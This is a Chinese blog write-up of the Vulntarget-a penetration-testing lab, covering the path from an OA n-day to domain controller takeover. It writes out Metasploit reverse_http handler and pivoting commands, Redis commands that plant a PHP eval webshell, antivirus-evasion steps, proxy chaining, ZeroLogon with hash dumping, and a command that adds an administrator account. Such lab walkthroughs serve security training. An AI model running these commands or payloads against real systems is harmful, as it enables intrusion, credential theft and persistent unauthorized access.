Vulntarget-a

1 打点

通达OA,用n day拿shell

目标存在两个网段

tasklist /svc判断不存在杀软,上传大马

2 简单权限维持

本身是system权限,不需要做提权,通过进程注入、注册服务做个简单权限维持。

3 内网信息收集

使用Ladon进行内网存活主机探测

挂马的主机内网ip是10.0.20.98,发现另一台存在域环境的主机10.0.20.99,系统为win 2016 datacenter 14393

扫下端口,发现开了HTTP,SMB,Redis三个服务,挨个看看

通过CS的SOCKS代理,访问HTTP,啥也没有(CS自带的代理不稳定,推荐使用独立的代理工具)

将会话派生到msf,探测是否存在ms17-010

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 99
exploit

foreign/reverse_http创建一个listener,ip和端口填msf的ip和端口,然后spawn过去就可以了

添加路由

run get_local_subnets   #查看网段/子网
run autoroute -s 192.168.52.0/24   #添加路由
run autoroute -p  #查看路由
background   #转入后台运行

漏洞探测

use auxiliary/scanner/smb/smb_ms17_010,设置目标ip,运行,发现不存在ms17-010漏洞

redis在内网,直接访问不到,用派生到msf的会话起个代理

use auxiliary/server/socks_proxy
set version 5  # socks5
set srvport 12222  # 端口
run

然后用proxychains来访问,访问10.0.20.99:80,显示Hello World,与之前访问页面内容一致,说明代理可用

连接redis

查看redis配置,发现其配置文件目录

4 上线域内主机

梳理一下现在拿到的信息:

  • ip: 10.0.20.99
  • 开启了web服务
  • redis未授权
  • 目标为windows 2016 datacenter

思路很清晰,写个shell上去,先看看是什么语言的后端,通过响应头发现是PHP

扫描目录看看,用proxychains+dirsearch,发现存在phpinfo.php

用msf的代理访问,搜索document_root,拿到web目录

接下来通过redis未授权写shell

10.0.20.99:6379> config set dir C:/phpStudy/PHPTutorial/WWW
OK
10.0.20.99:6379> config set dbfilename x.php
OK
(0.95s)
10.0.20.99:6379> set a "<?php @eval($_POST['x']);?>"
OK
(2.02s)
10.0.20.99:6379> save
OK
(0.87s)

访问,webshell已上传

在蚁剑中添加代理AntSword->代理设置

添加shell,连接成功,直接系统权限,方便很多

看了下,有杀软

pivot listener 只有可执行,没有shellcode,无法免杀,目标有杀软,所以需要想办法获取到pivot listener的shellcode来做免杀

通过web-delivery,选择pivot listener,语言随便选一个,访问挂着马的url,下载到本地,把里面的shellcode拿出来,base64解码,进行免杀

上传,上线(大文件上传可以使用冰蝎或者哥斯拉)

5 横向移动

信息收集-找域控

dcwin2019.vulntarget.com10.0.10.110

下面用ZeroLogon打DC,需要搭代理,这里使用pystinger,将proxy.phpstinger_server.exe上传到WIN2016

启动服务端:start stinger_server.exe (不能直接运行,会将会话卡死)

stinger_client.exe上传到vps,使用一级代理启动客户端proxychains stinger_client.exe -w http://10.0.20.99/proxy.php -l 0.0.0.0 -p 60000

到这二级代理就启动成功了,在0.0.0.0:60000端口,后续使用该二级代理完成,代理逻辑如下:

vps <----一级代理----> WIN7 <--- 二级代理 ---> WIN2016 <--- 访问 ---> WIN2019
vps <----一级代理----> WIN7 <----  访问  ---> WIN2016
vps <----  访问  ----> WIN7 
WIN7   : 外网 + 10.0.20.0/24
WIN2016: 10.0.20.0/24 + 10.0.10.0/24
WIN2019: 10.0.10.0/24

CVE-2020-1472WIN2019$密码置空,然后用secretsdumpdump域控中的hash,拿到管理员的NTLM hash

使用smbexec拿到shell(报错可通过添加参数'--codec gbk'解决

添加账号,添加组

net user add <username> <p@ssw0rD>(密码有复杂度要求) /add
net localgroup administrators <username> /add

使用linux下的remmina通过代理连接rdp

posted @ 2022-04-02 21:36  R3col  阅读(289)  评论(0编辑  收藏  举报